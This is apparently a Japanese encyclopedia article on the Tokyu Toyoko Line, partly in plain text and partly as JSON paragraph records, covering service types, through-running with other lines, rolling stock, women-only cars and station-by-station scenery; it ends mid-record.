車両の行先表示や、駅構内に設置されている一部の発車標では、表示スペースが狭いこともあり「通特」と省略の上で表示されている。また、英語表記は「Com. Exp.(=通勤急行)」「Commuter Limited Express」などの表記揺れがあり、統一されていない。
東横線・みなとみらい線の速達列車の中では最も停車駅が多い種別であり、終日にわたり運転される。10両編成と8両編成の両方が充当される(8両編成は本線系統のみ)。特急と同様、自由が丘駅と菊名駅で各駅停車に連絡する列車や、上り線は朝ラッシュ時を中心に祐天寺駅で各駅停車を追い抜く列車がある。渋谷駅発着で運転される一部列車を除き東京メトロ副都心線に直通し、直通先の副都心線内では主に平日朝ラッシュ時間帯が急行・通勤急行となる以外は各駅停車となる。日中は本線系統は線内完結列車と和光市発着が各2本。相鉄線直通系統は和光市発着と川越市発着が各1本の毎時6本となり、朝晩は西武池袋線小手指・清瀬行きや東武東上線志木行きなどが見られる。定期の急行は特急や通勤特急を待避せず、終着駅まで先着する(東横線・みなとみらい線内のみ。副都心線以北を除く)。臨時列車が運転される場合のみ特急の通過待ちをすることがある。なお、2023年3月改正時に自由が丘駅でS-TRAIN元町・中華街行きと接続・待避する急行湘南台行きが、土曜・休日ダイヤの午前中に1本設定されている。2023年8月10日より平日ダイヤの夜間に東急車による列車5本で有料座席指定サービス「Qシート」が実施されている。
2駅以上連続して停車する区間が、自由が丘 - 多摩川間(3駅連続)、日吉 - 綱島間(2駅連続)と多い。
渋谷 - 横浜間の所要時間は最短29分(元町・中華街まで38分)。
通常の急行は元住吉駅を通過する。元住吉検車区の出入りのために、以前は元住吉駅を始発・終着とする急行が存在した。しかし、2006年9月24日より元住吉駅が高架化され、駅構内からの入出庫ができなくなったことに伴い、翌25日のダイヤ改正から、それまでの元住吉駅発着の急行はすべて日吉駅・武蔵小杉駅発着に変更された。
7200系以前の車両が急行運用に就く時は「急行」の種別表示札を装着して運用していた。8000系も「急行」の種別表示札を装着していたが、後に方向幕に種別表示を行うようになった。
速達列車の通過駅の有効長の関係で、すべての列車が東急・横浜高速鉄道・東京メトロの車両による8両編成で運転されている。主に元町・中華街発着の列車が自由が丘駅・菊名駅で急行または特急(時間帯によっては通勤特急)に接続する。
日中時間帯は1時間に8本設定されており、内訳は渋谷 - 元町・中華街間を通しで運転する列車(線内完結列車)が2本、副都心線直通 - 元町・中華街間を運転する列車が6本(内訳は副都心線池袋駅・和光市駅発着が2本ずつ、池袋線石神井公園駅発着が2本)である。すべての列車が直通先の副都心線内でも各駅停車として運転する。また、東京メトロの車両は、東横線・みなとみらい線内のみを運転する一部列車(渋谷 - 菊名間および渋谷 - 元町・中華街間など)にも使用されている。以前は日中時間帯に菊名 - 副都心線池袋間を走る各駅停車が毎時2本運行していたが、2022年3月12日のダイヤ改正で消滅した。
日中以外の時間帯には、和光市駅より先の東上線志木駅発着(平日のみ)のほか、副都心線新宿三丁目駅発着、池袋線飯能駅(土休日のみ)・小手指駅・所沢駅・清瀬駅発着もある。東横線側では武蔵小杉駅・菊名駅・横浜駅発着、日吉発元町・中華街行きもあるが、2023年3月18日のダイヤ改正で相鉄線直通急行に振り替えられる形で東横線内の区間運転は減少した。
副都心線との直通運転開始当初は日中の渋谷駅発着列車は元町・中華街行と菊名行の各2本ずつであったが、2016年3月26日のダイヤ改正で元町・中華街行4本に変更されるとともに副都心線新宿三丁目駅発着列車が元町・中華街行から菊名行に変更された。2017年3月25日のダイヤ改正で、日中の新宿三丁目駅発着が池袋駅発着に延長され、2022年3月12日のダイヤ改正で渋谷駅発着が2本減となり池袋発着は元町・中華街行きに延長となった。
特急運転開始以前は、日中において多くの各駅停車が、渋谷 - 桜木町間のほぼ中間に位置する日吉で急行の待ち合わせを行っており、始発駅から数えて「急行 → 各駅停車(待避なし) → 各駅停車(日吉で急行待ち)」という順番でダイヤが組まれていた。これは、2019年1月現在の東急目黒線の日中のダイヤにおいても同様の例が見られる。
かつては方向幕に種別表示を行っていなかったが、みなとみらい線開業を控えた2004年1月までに表記を開始した。
2023年3月18日ダイヤ改正時点での東横線(一体として運行されている東京メトロ副都心線、みなとみらい線を含む)における日中1時間あたりの運行本数は以下のとおりである。
2013年3月16日に東横線渋谷駅 - 代官山駅間(約1.3km)が地下化され、渋谷駅で東京メトロ副都心線との相互直通運転が開始された。
すでに副都心線では2008年の開業時から、途中駅である小竹向原駅で西武池袋線(西武有楽町線経由)と、終点の和光市駅で東武東上線とそれぞれ相互直通運転を実施しており、東横線と副都心線との相互直通運転と同時に、みなとみらい線・東横線から副都心線を介して西武池袋線飯能駅(西武車の一部と東急車10両運用の一部は回送で武蔵丘信号場)および東武東上線森林公園駅に至る、鉄道5事業者(東武鉄道・西武鉄道・東京地下鉄・東京急行電鉄・横浜高速鉄道)による相互直通運転が開始された。これに先立ち、西武池袋線では保谷駅を島式1面2線から2面3線に拡張する工事が行われたほか、2011年夏頃からは東京メトロ7000系 ・東武9050系・西武6000系が終電後の東横線内において試運転を実施していた。また、逆に東急5050系(4000番台含む)が副都心線(及び有楽町線)や東武東上線内、西武池袋線内で試運転を実施していた。2012年9月から東横線では東京メトロ10000系・7000系が、副都心線では東急5050系が先行営業運転をそれぞれ行っていた。これにより、直通運転開始後は廃止される地上の渋谷駅に東京地下鉄の車両が入線することになり、多くの鉄道ファンのほか、一般の利用客にも写真を撮られるなどして注目された。
この相互直通運転開始により、西武の車両が初めて神奈川県内でも営業運転を開始した。
副都心線開業前の2002年初頭、東横線と副都心線との相互直通運転が正式に決まり、東京地下鉄の前身である営団地下鉄側は計画を次のように一部変更した。
一方、東急側ではアプローチとなる渋谷駅 - 代官山駅間の地下化工事完了に伴い、東横線の渋谷駅は地上2階から地下5階にある副都心線渋谷駅ホームに移設し、高架式ホームは廃止となった。駅舎の撤去後、渋谷駅周辺の再開発事業に活用され、山手線ホームから離れた位置にあったJR埼京線(湘南新宿ライン)渋谷駅ホームをここに移設する計画で、2020年6月に移設された。なお、この副都心線ホームは田園都市線・半蔵門線ホームと改札内での乗り換えが可能であり、これらのホームを一体的に管理するため、副都心線の渋谷駅ホームは、2008年6月14日の開業当初から東急が駅管理業務を行っていた。
副都心線は、開業当初からホームドアを使用したワンマン運転を行っており、かつ、副都心線の車両は10両編成が基本であることから、同線への乗り入れに際し、これらに対応した設備改良が必要となった。このため、2010年度以降に増備された東横線5050系車両は、当初よりATOおよび運転士用ドア開閉ボタンなどを装備し、副都心線におけるワンマン運転に備えていた。また、副都心線との直通運転開始までに、既存の東横線所属の5000系・5050系にも同様の改造工事を施工し、急行停車駅ではホームの延長工事を行った。従来、東横線・みなとみらい線の優等列車(特急・通勤特急・急行)は8両編成であったが、直通運転後は急行の一部をのぞいて10両編成に増結された。直通運転開始時に10両編成で運用しているのは、2011年から増備された東急5050系4000番台と、他に、東京地下鉄7000系の一部、10000系、東武9000系、9050系、50070系、西武6000系である。
なお、各駅停車については従来通り8両編成での運転となっており、各駅停車のみが停車する駅においてはホーム延伸工事が行われていない。また、副都心線の各駅停車のうち東京地下鉄7000系や東京地下鉄17000系には8両編成も存在するが、これは東横線・みなとみらい線との相互直通運転において、主に各駅停車としての運用に就くためである。
2022年3月12日ダイヤ改正からの運行パターンとしては、日中16本/時のうち各駅停車2本/時が渋谷駅折り返しとなる以外はすべて副都心線に乗り入れる。このうち東横線特急が副都心線内急行・西武線内快速急行の最速達列車として、西武池袋線小手指駅発着および、東武東上線内急行の東上線森林公園駅発着のFライナーとして運転される。東横線急行(毎時4本運行)は副都心線内各駅停車の和光市駅発着となり、東新宿駅で後続の急行(東横線特急)を待避する。各駅停車は日中毎時6本が副都心線に直通するが、うち日中毎時2本は池袋駅折り返しとなっている。
2004年2月1日から、横浜駅で横浜高速鉄道みなとみらい線と相互直通運転を行っている。
横浜駅では東横線の渋谷方面発横浜行き(平日1本、土休日2本)と横浜発東横線渋谷方面行き(平日1本のみかつ急行)および、みなとみらい線の横浜発元町・中華街行き始発電車を除く全列車が直通運転を行っているほか、横浜駅では会社間における乗務員の交代を行わずに東急の乗務員が引き続きみなとみらい線内を通しで乗務すること、横浜高速鉄道の自社車両であるY500系が東横線の元住吉検車区所属であること、みなとみらい線内の駅業務を東急の子会社である東急レールウェイサービスが受け持っていることなど、東横線とみなとみらい線は事実上一体となって運行されている。
2023年3月18日から、東急新横浜線が開通し新横浜駅で相鉄新横浜線との相互直通運転を開始した。
日中時間帯は相鉄いずみ野線湘南台駅方面の列車として運転されているが、一部は相鉄本線海老名駅・かしわ台駅(発のみ)・大和駅(着のみ)・西谷駅発着列車として設定されている。
1964年8月29日から、日吉駅 - 中目黒駅 - 営団地下鉄(現在の東京地下鉄)日比谷線北千住駅間で相互直通運転を開始した。その後、1988年から、日吉駅地下化工事に伴い暫定的に菊名駅まで延長されたが、当時は急行が少なく急行待避も無かったため、利用客からは好評で継続されることになった。地下化工事終了後は、日中は日吉駅までの乗り入れとなったが、目黒線の日吉延伸工事に伴い、2007年8月23日からは終日菊名駅まで直通するようになった。
日比谷線直通終了時点では定期列車の運行区間は主に菊名駅 - 日比谷線北千住駅間であり、朝と夜には武蔵小杉駅や日比谷線南千住駅発着列車も設定されていたほか、平日早朝には日比谷線広尾駅始発の菊名行きが設定されていた。武蔵小杉行は原則東急車の運用であるが、平日朝の1本はメトロ車で運用されていた。
日比谷線は北千住駅から先、東武伊勢崎線(東武スカイツリーライン)に乗り入れているが、東横線・日比谷線・スカイツリーライン3線直通列車は設定されておらず、東横線からの列車は北千住まで、スカイツリーラインからの列車は中目黒までの乗り入れとなっていた。
日比谷線直通列車は通常は全列車が各駅停車として運転されたが、臨時列車としてゴールデンウィーク・夏休み・クリスマスなどのシーズンには、日比谷線直通の「みなとみらい号」が運転されることがある(詳細は臨時急行「みなとみらい号」の節を参照)。
2001年の特急運転開始時に、日中における日比谷線直通電車の本数が半減し、1時間当たり4本(15分間隔)から2本(30分間隔)となった。
2013年3月16日の副都心線との直通開始を機に日比谷線との相互直通運転を終了し、東横線は全列車が渋谷・副都心線方面の運行となり、日比谷線は全列車が中目黒までの運行に変更された。日比谷線直通の代替として、菊名発着の渋谷方面行き列車をそれまでの日比谷線直通と同程度の本数運行している。またこの直通運転終了に伴い、東横線における18m車の運行が終了した。
日比谷線直通終了時点で直通列車には東急1000系および東京地下鉄(東京メトロ)03系が使用されていた。車両規格も東横線・みなとみらい線内を走る20m級4つドア大型車体とは異なり、18m級3つドアまたは5つドア中型車体となっている。列車に搭載されている保安設備の関係上、日比谷線に乗り入れていた東急の車両は東武伊勢崎線に乗り入れることができなかった。逆に東武の車両も同様の理由により、東横線内には乗り入れることができない。車両の運用は『MY LINE 東京時刻表』(交通新聞社)の日比谷線のページにおける列車番号欄の末尾「K」の列車は東急1000系、「S」の列車は東京メトロ03系となっていることで判別できた(「T」の列車は東武の車両)。ただし、定期検査時やダイヤが乱れた際はこの限りではなかった。
なお、日比谷線直通用1000系は東横線での運用を終了して元住吉検車区にて留置の後、一部の車両は総合車両製作所にて3両編成化やワンマン運転対応をはじめとする改造工事(同時に1500番台に改番)を受け、2014年5月から雪が谷検車区に転属の上で池上線・東急多摩川線での運用を開始している。
空港連絡鉄道として検討が進められている蒲蒲線が開通すれば、東急多摩川線を介して京急蒲田駅方面まで直通運転が可能となる。
旅客営業は行っていなかったが、2000年8月6日の目黒線開業以来元住吉検車区への回送列車として目黒線の車両(3000系・5080系)および同線への乗り入れ車両である都営6300形・東京地下鉄9000系・埼玉高速鉄道2000系(都車は2000年9月22日より、メトロ車は2003年改正より、埼玉車は2006年改正より)が武蔵小杉 - 元住吉間を走行していた。2008年6月22日の目黒線武蔵小杉 - 日吉間延伸開業以降は、目黒線の線路を通って元住吉検車区へ回送されている。
埼玉高速鉄道線浦和美園と都営地下鉄三田線高島平から、元町・中華街に向けて、1 - 2か月に1回の割合で「みなとみらい号」が運行されている。2006年8月運転分までは、武蔵小杉で目黒線から東横線に転線し、東横線・みなとみらい線内を急行列車として運転されていた。しかし、同年12月運転分からはさらに目黒線内でも急行運転を行い、同時に目黒線から東横線に転線する駅も田園調布に変更された。また、元住吉駅で臨時停車を行い、後発の特急列車の通過待ちをする。
日比谷線でも同様に、北千住から元町・中華街まで、1 - 2か月に1回の割合で「みなとみらい号」が運行されている。各駅停車として運転される通常の日比谷線直通電車と異なり、東横線内を急行列車として運転する。2007年3月運転分までは日比谷線内でも急行運転を行っていた。
現在は行楽期に「みなとみらい号」が運行されているが、かつては下記の名称の臨時急行が設定されていた。
小手指行きの東横特急(副都心線内急行、西武線内快速急行のFライナー)を西武線内快速に変更の上で西武球場前行きとして運行する。西武線内代替として、ひばりヶ丘発の小手指行き快速急行(Fライナーとは名乗らない)が運行される。
東京都の混雑緩和プロジェクト「時差Biz」にあわせて、2018年7月の平日朝6時台に、元町・中華街発和光市行き「時差Biz特急」を運行。種別は、元町・中華街 - 渋谷間が東横特急、渋谷 - 和光市間が通勤急行で、各区間の停車駅はそれぞれの種別と同じである。但し菊名駅での各駅停車への接続はない。
2023年8月10日から有料座席指定サービス「Qシート」 (Q SEAT) を開始した。
平日夜間の渋谷発みなとみらい線直通の急行元町・中華街行きのうち5本で、5050系4000番台の4号車・5号車をQシート車両(ロングシートとクロスシートを転換可能)に設定して運行している。1編成目は2022年10月24日に先行して一般車両としてロングシートで営業運転を開始している。
座席数は2両で90席(1両45席)。座席指定料金は一律500円で、渋谷駅 - 菊名駅間は列車指定券が必要な乗降可能区間、横浜駅 - 元町・中華街駅間は列車指定券が不要なフリー乗降区間となる。列車指定券は渋谷駅、中目黒駅、学芸大学駅、自由が丘駅、田園調布駅、多摩川駅、武蔵小杉駅、日吉駅、綱島駅、菊名駅、横浜駅の各駅の駅窓口で販売されるほか、専用webサイト「Qシートチケットレスサービス」でも購入できる。列車指定券は乗車当日の朝5時から発売され、チケットレス購入も可能である。
全てのドアが開くが、列車指定券確認のため、渋谷寄り1か所以外はガードが張られるため利用できない。ただし、菊名駅を発車後に全てのガードが畳まれ手すり脇に格納され、横浜駅からのフリー乗降区間では全ドアが利用できる。
2013年3月18日以降は、平日の始発から9時30分にかけて、8両・10両編成ともに、渋谷寄りの車両である1号車が女性専用車となる。対象区間は上下とも東横線・みなとみらい線全線で東横線内上り列車は東京メトロ副都心線池袋駅、相鉄線に直通する東横線内下り列車は東急新横浜線新横浜駅まで実施し、実施区間の途中であっても9時30分を以て一斉終了となる。
東横線女性専用車は、2005年7月25日に初めて導入された。この際は、平日の優等列車で終日、横浜寄りの先頭車である8号車に設定されていた。首都圏で女性専用車が終日導入されたのは初めての試みであり、各種メディアにおいても話題となった。ところが、日中および夕ラッシュ時間帯以降における渋谷方面行の利用状況が低いことや、菊名駅を中心に発生した諸問題(詳細は「菊名駅#菊名問題」を参照)が原因で同駅を利用する男性客を中心に大きな反発を受けた。
そのような経緯から、2006年7月18日に設定時間帯の縮小ならびに設定車両の変更を実施した。この時点での実施対象列車は平日の始発から10時までの上下線と、渋谷駅を17時以降に発車する優等列車で、中間の5号車が設定対象とされた。
また、2006年7月14日まで、9000系の8号車には、女性専用車の設定位置を強調する目的と企業とのタイアップの目的を兼ねて、一部編成をのぞいた車体に、TBSのテレビドラマ広告がラッピングされていた。
2013年3月16日(平日ダイヤでは3月18日)の副都心線との直通運転開始後は、女性専用車は上下線ともに渋谷寄りの1号車に、運用時間が平日の始発から9時30分までにそれぞれ変更され、同時に各駅停車を含む全ての種別が対象となった。副都心線、その他乗り入れる東武鉄道・西武鉄道各路線の女性専用車の位置と統一される形となった。
2023年3月18日(平日ダイヤでは3月20日)より、女性専用車の設定号車が異なる相鉄線との直通運転が開始されたが、相鉄側が東横線に乗り入れる列車のみ位置を変更する形となったため、東横線において変更はない。
田園調布駅 - 日吉駅間の複々線区間で並走している目黒線の停車駅などについては「目黒線」を参照。日吉駅 - 新横浜駅間の東急新横浜線の停車駅などについては「東急新横浜線」を参照。
日付は最終営業日の翌日
乗り入れ車両を含め、10両編成は優等列車で、8両編成は各停・急行で運用される。
どの列車がどの車両で運転されるかは列車番号で判別できる。2023年3月18日改正ダイヤでは、列車番号末尾アルファベットの「S」が東京メトロ車両(8両編成は01S - 19S/10両編成は21S - 91Sの奇数番号)、「M」が西武車両(02M - 34Mの偶数番号および71M - 75M)、「T」が東武車両(01T - 25Tの奇数番号)、「K」が東急車両(8両編成は横浜高速鉄道車両と共通運用で01K - 33K/10両編成は51K - 65K/ダイヤ乱れの場合は41K - 46K)、「G」が相鉄車両(91G - 95G)となっている。また、東横線・みなとみらい線内における6桁の列車番号の1桁目によっても判別が可能となっており(2桁目・3桁目は運用番号)、「0」が東急・横浜高速車両、「1」が西武車両、「7」が東京メトロ車両、「8」が東武車両、「9」が相鉄車両となっている(例えば「01K」は東横線・みなとみらい線内は「001」となる)。列車番号は『MY LINE 東京時刻表』(交通新聞社)などにより確認ができる。
2023年3月18日改正ダイヤでは、東急車が東京メトロの和光検車区に8両編成2本と10両編成1本、西武の武蔵丘車両基地に10両編成1本、東武の森林公園検修区に10両編成2本、相鉄の西谷駅に10両編成1本、かしわ台車両センターに10両編成2本がそれぞれ夜間留置となる「外泊運用」が組まれている。逆に、元住吉検車区には東京メトロ車の8両編成2本・10両編成2本と西武車1本、東武車2本がそれぞれ夜間留置となる運用が組まれている。
全車両、元住吉検車区所属。
各車両形式の詳細については、それぞれの車両記事を参照のこと。
東横線ではほとんどの駅が発車ブザーを使用しているが、一部の駅では発車ベルメロディが使用されている。渋谷駅は地下化当初よりオリジナル曲(向谷実作曲)を、新丸子駅・武蔵小杉駅は川崎フロンターレの応援歌の編曲を採用している。2023年3月6日からはワンマン運転に向けて全駅で発車メロディを車両から乗降促進音を鳴らす方式に順次変更している。
発車ベルメロディではないが、2013年3月15日までの渋谷駅地上時代には到着ベルメロディとして渋谷駅1 - 4番線すべてで下記のものが期間限定で使用された。
東急新横浜線の開通ならびに直通開始に合わせて東横線およびみなとみらい線内でのワンマン運転が順次実施されている。ワンマン運転移行の為、当面の間は安全確認の為に車掌は引き続き乗務し、ドア扱いは運転手が行っていた。
かつては以下の3か所の駅でドアカットが行われていたが、現在はすべて解消されている。 | [
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"text": "",
"title": null
},
{
"paragraph_id": 1,
"tag": "p",
"text": "東横線(とうよこせん)は、東京都渋谷区の渋谷駅と神奈川県横浜市西区の横浜駅を結ぶ東急電鉄の鉄道路線である。路線図や駅ナンバリングで使用される路線カラーは赤色、路線記号はTY。",
"title": null
},
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"paragraph_id": 2,
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"text": "田園都市線と並ぶ東急電鉄の基幹路線であり、東急電鉄の前身の一つである東京横浜電鉄が開業させた。通勤路線であると同時に、路線名が表すように東京と横浜という2つの都市を結ぶ都市間鉄道路線(インターアーバン)でもある点が特筆される。沿線には渋谷、代官山、中目黒、自由が丘、田園調布、武蔵小杉といった街を抱える。 途中経路はやや異なるものの、渋谷駅 - 武蔵小杉駅 - 横浜駅間は東日本旅客鉄道(JR東日本)の湘南新宿ラインと競合関係にある。2001年(平成13年)開業の湘南新宿ラインに対抗するために、前年の2000年(平成12年)から特別料金不要の特急(東横特急)を運行しており、速達化を図っている。",
"title": "概要"
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"text": "もともとは横浜駅から先の桜木町駅が終点であったが、2004年(平成16年)に横浜高速鉄道みなとみらい線(横浜駅 - 元町・中華街駅間)が開業して当路線との相互直通運転を開始するのに伴い、横浜駅 - 桜木町駅間は途中駅の高島町駅とともに廃止された。",
"title": "概要"
},
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"paragraph_id": 4,
"tag": "p",
"text": "田園調布駅 - 日吉駅間は複々線であり、うち2線の線路を使用して東横線のバイパス機能を果たしている目黒線(目黒駅 - 日吉駅間)が並走する。一部の列車は東急新横浜線(日吉駅 - 新横浜駅間)に直通し、新横浜駅から相模鉄道(相鉄)の各路線(相鉄新横浜線・本線・いずみ野線)との相互直通運転も行っている。",
"title": "概要"
},
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"tag": "p",
"text": "渋谷駅からは東京地下鉄(東京メトロ)副都心線を介して埼玉県の東武鉄道(東武)東上線小川町駅及び西武鉄道(西武)池袋線飯能駅まで、また、横浜駅からは横浜高速鉄道みなとみらい線元町・中華街駅まで相互直通運転を行っている。さらに土休日に運行される有料座席指定列車のS-TRAINは西武池袋線・東京メトロ副都心線および当路線を経由して西武秩父線西武秩父駅 - みなとみらい線元町・中華街駅間で直通運転を行っている。また、小川町駅 - 元町・中華街駅(東武線系統)および飯能駅 - 元町・中華街駅(西武線系統)のそれぞれについて、日中の時間帯に各線内を特別料金不要で最速達で運行される列車(東横線内は特急運転)については「Fライナー」の愛称がつく。",
"title": "概要"
},
{
"paragraph_id": 6,
"tag": "p",
"text": "2013年(平成25年)3月15日までは中目黒駅から東京メトロ日比谷線北千住駅まで直通運転を行っていたが、副都心線直通開始とともに取りやめになった。詳しくは「直通運転」の節を参照。",
"title": "概要"
},
{
"paragraph_id": 7,
"tag": "p",
"text": "明治通り(都道305号)の直下、渋谷スクランブルスクエアと渋谷ヒカリエの間の地下5階に設けられた2面4線の渋谷を出発すると、しばらくは明治通りの直下を南下し、渋谷川の真下をくぐって、渋谷清掃工場付近で南西方向にカーブし、山手線・埼京線・湘南新宿ライン(山手貨物線)などのJR線群をくぐりながら地上に向かって最大35 ‰の急勾配を上る。しばらくすると相対式ホーム2面2線の地上駅代官山に到着する。1986年(昭和61年)3月までホームが渋谷2号踏切とトンネル(渋谷隧道)に挟まれていた関係で有効長が18 m車6両分しかなかったため、20 m車6両編成では中目黒寄り1両、18 m車8両編成と20 m車7両編成では中目黒寄り2両のドアカットを行っていた。その後渋谷2号踏切を閉鎖し、ホームの半分をトンネル内まで延ばすことでドアカットを解消した。",
"title": "沿線風景・地理"
},
{
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"tag": "p",
"text": "なお、渋谷駅は2013年(平成25年)3月15日の副都心線との相互直通運転開始までは山手線渋谷駅と明治通りに挟まれた位置にあった頭端式ホーム4面4線の高架駅で、渋谷川の右岸を高架で進んでいた(跡地は渋谷スクランブルスクエア、渋谷ストリーム、国道246号横断デッキ、渋谷リバーストリート、渋谷ブリッジ、LOG ROAD DAIKANYAMAになっている)。途中では南に東京都交通局・渋谷営業所のバス群を見下しながらJR線群を跨ぎ、渋谷1号踏切を越えて代官山駅に進入していた。",
"title": "沿線風景・地理"
},
{
"paragraph_id": 9,
"tag": "p",
"text": "渋谷隧道を抜けると目黒区に入り、上下線間に日比谷線が顔を出す。高架線で目黒川を渡ると間もなく島式ホーム2面4線の高架駅中目黒である。ホーム下には山手通り(都道317号)が通る。当駅の祐天寺寄りには日比谷線用の3本の引き上げ線があり、日比谷線の列車はすべてここで折り返す。2013年(平成25年)3月15日までは日比谷線との相互直通運転が行われており、東武伊勢崎線(東武スカイツリーライン)から日比谷線への直通、および日比谷線内のみの運用列車がここで折り返し、日比谷線直通列車が当駅で相互に乗り入れていた。また、伊勢崎線における日比谷線直通専用車両である東武2000系と東武20000系列も東横線には乗り入れることができなかったため、東横線には直通せず、必ずここで折り返していた。なお、東横線における日比谷線直通専用車両であった東急1000系には、東横線には乗り入れない北千住駅方面発の中目黒駅行の運用があったため、その際はここで折り返していた。中目黒駅の配線構造や車両規格の違いなどにより、東横線の列車はここで折り返すことは不可能である。",
"title": "沿線風景・地理"
},
{
"paragraph_id": 10,
"tag": "p",
"text": "中目黒を出ると、目黒区を縦断する形で南南西へ進む。次の特急停車駅・自由が丘までは直線区間が続く。この辺りは特急がスピードを最も上げる区間でもある。",
"title": "沿線風景・地理"
},
{
"paragraph_id": 11,
"tag": "p",
"text": "中央に通過線を有する2面3線の高架駅祐天寺の由来となった祐天寺は、駅から徒歩約5分である。",
"title": "沿線風景・地理"
},
{
"paragraph_id": 12,
"tag": "p",
"text": "次の学芸大学・都立大学と大学名を取った駅名が2つ続くが、東京学芸大学は1964年に小金井市に、東京都立大学は1991年に多摩ニュータウン(八王子市)に移転した。付属高校も現存しているのは学芸大附属高のみであり、都立大附属高は2011年に都立桜修館中等教育学校に改組した。移転後に両駅の駅名変更の是非を問う住民投票が行われ、「駅名変更を可とする方」に学芸大学駅は37%、都立大学駅は過半数となる59%の票を集めたが、東急側は両駅とも、可とする方の比率が3分の2に達しなかったため駅名変更は行わないとして、現在もそのままになっている。",
"title": "沿線風景・地理"
},
{
"paragraph_id": 13,
"tag": "p",
"text": "都立大学を過ぎると、高架線から地上に降りるため、踏切が点在する。自由通りの踏切を過ぎると、島式ホーム2面4線の高架駅自由が丘である。大井町線との接続駅であり、周辺は沿線有数の商業地で、大手進学塾も多い。また、東横線の中枢を担う駅の一つであり、ほぼ終日緩急接続が行われる。",
"title": "沿線風景・地理"
},
{
"paragraph_id": 14,
"tag": "p",
"text": "自由が丘を過ぎると、すぐ電車は世田谷区に入るが、世田谷区内には駅はない。",
"title": "沿線風景・地理"
},
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"paragraph_id": 15,
"tag": "p",
"text": "環状八号線(都道311号)を潜るとすぐ大田区に入って地下線へと下り、目黒線と合流して島式ホーム2面4線の地下駅田園調布に到着する。周辺には、東急の始祖にあたる田園都市株式会社が開発した高級住宅街が広がっている。ここから南は複々線区間となり、方向別2面4線方式のホームが目黒線の終点である日吉駅まで6駅連続している(ただし元住吉駅は東横線の通過線を含めて2面6線)。田園調布の次、多摩川では東急多摩川線と接続。元々は目黒 - 蒲田間で1路線(目蒲線)であったが、2000年8月6日に路線が目黒線と東急多摩川線の2つに分割された。",
"title": "沿線風景・地理"
},
{
"paragraph_id": 16,
"tag": "p",
"text": "多摩川を渡ると川崎市中原区に入り、新丸子を過ぎると間もなく南武線・横須賀線との接続駅武蔵小杉である。武蔵小杉は再開発され、50階を超える高層マンションが林立している。新丸子 - 武蔵小杉間が、東横線で一番駅間距離が短い区間である(約500m)。",
"title": "沿線風景・地理"
},
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"paragraph_id": 17,
"tag": "p",
"text": "武蔵小杉は、目黒線開業時から長らく始発・終着駅として機能していたが、2008年6月22日に同線が2つ先の日吉まで延伸開業した。現在でも、元住吉車庫への出入庫を兼ねた東横線・目黒線ともに当駅止まりおよび当駅始発の運用が存在する。",
"title": "沿線風景・地理"
},
{
"paragraph_id": 18,
"tag": "p",
"text": "武蔵小杉を出ると、東横線はそのまま高架線を進み、目黒線はその直下の地上線を進む。用地の問題などからそのまま高架複々線化させるのが難しかったため、元住吉駅手前までの区間はこのような上下2段構造である。かつて、この目黒線の線路は東横線の本線だったが、現在は前述した通り目黒線のほかにも元住吉検車区の出入庫列車が走行している。",
"title": "沿線風景・地理"
},
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"paragraph_id": 19,
"tag": "p",
"text": "元住吉は2006年9月にリニューアルされ、島式ホーム2面4線の地上駅から、東横線では唯一の通過線2本を持つ島式ホーム2面6線の高架駅となった(後述)。",
"title": "沿線風景・地理"
},
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"paragraph_id": 20,
"tag": "p",
"text": "元住吉を過ぎ、矢上川を渡ると横浜市港北区に入り、地下駅の日吉に到着する。周辺には慶應義塾大学日吉・矢上両キャンパスのほか、日本大学中学校・高等学校もある文教地区である。また、港北ニュータウン経由で横浜線中山駅とを結ぶ横浜市営地下鉄グリーンラインが2008年3月30日に開業した。ここで複々線区間(目黒線との並走)は終了である。2023年3月18日に開業した東急新横浜線がここで分岐し、東横線・目黒線の一部の列車が新横浜および相鉄線方面との直通運転を行う。",
"title": "沿線風景・地理"
},
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"paragraph_id": 21,
"tag": "p",
"text": "日吉を出ると、高架線を次の綱島までほぼ直線で進む。東横線で一番駅間距離が長い区間である(約2.2km)。東横線の中で最も表定速度の速い区間の一つで、各駅停車でも時折110km/hほどのスピードが出ることがある。",
"title": "沿線風景・地理"
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"paragraph_id": 22,
"tag": "p",
"text": "かつて「東京の奥座敷」と呼ばれた綱島温泉郷を有する温泉街だった綱島だが、現在は港北ニュータウンや鶴見地区方面からの路線バスが発着するバスターミナルを持つハブ駅となっている。そのため、乗り換え駅では無いが綱島を利用する客は多い。",
"title": "沿線風景・地理"
},
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"paragraph_id": 23,
"tag": "p",
"text": "綱島を出ると、すぐに鶴見川を渡る。次の大倉山を過ぎると、東海道新幹線と環状2号線を潜り、島式ホーム2面4線の地上駅菊名に到着する。JR横浜線との接続駅であり、東海道新幹線の新横浜駅までは横浜線で1駅。自由が丘と同様ほぼ終日にわたり緩急接続が行われており、副都心線との相互直通運転が始まるまでは、日比谷線(からの)直通電車が折り返していた。周辺には古くからの閑静な住宅地が広がっている。",
"title": "沿線風景・地理"
},
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"paragraph_id": 24,
"tag": "p",
"text": "この区間は、横浜市北部の住宅地の間を縫うように線路が続いている。",
"title": "沿線風景・地理"
},
{
"paragraph_id": 25,
"tag": "p",
"text": "相対式ホーム2面2線の妙蓮寺は、かつて改札口が上りホームにしか無く、下りホームへは地下通路を通るという東横線内の駅としては珍しいタイプの駅だったが、2000年代に入ると下りホームにも改札口が新設され、その後さらに待合室とトイレ(上りホームのみ)も設置された。",
"title": "沿線風景・地理"
},
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"paragraph_id": 26,
"tag": "p",
"text": "次の白楽の手前で横浜市神奈川区に入る。神奈川大学横浜キャンパスまでの間には六角橋商店街があり、大学生で溢れ返っている。白楽は相対式ホーム2面2線の橋上駅であり、ホームの真上のみに改札口があったが、2002年になると上りホーム側に西口改札が新設された。",
"title": "沿線風景・地理"
},
{
"paragraph_id": 27,
"tag": "p",
"text": "横浜上麻生道路の上にある相対式ホーム2面2線の高架駅東白楽を過ぎると、電車は地下に入り、次の反町に滑り込む。地下駅化以前は東白楽駅から続いていた高架線が国道1号を跨ぎ終わった直後の箇所に相対式2面2線方式のホームがあり、横浜駅寄りに高島山トンネルが存在していた。",
"title": "沿線風景・地理"
},
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"paragraph_id": 28,
"tag": "p",
"text": "反町を過ぎ、横浜の手前で横浜市西区に入る。横浜は島式ホーム1面2線の地下駅であり、ここからは直通運転先の横浜高速鉄道みなとみらい線に入る。",
"title": "沿線風景・地理"
},
{
"paragraph_id": 29,
"tag": "p",
"text": "高架駅時代は横浜を出ると、東海道線などを跨いだあと根岸線の高架と並行し、高島町を経て桜木町に至っていたが、みなとみらい線の開業に伴い2004年にこの区間は廃止された。",
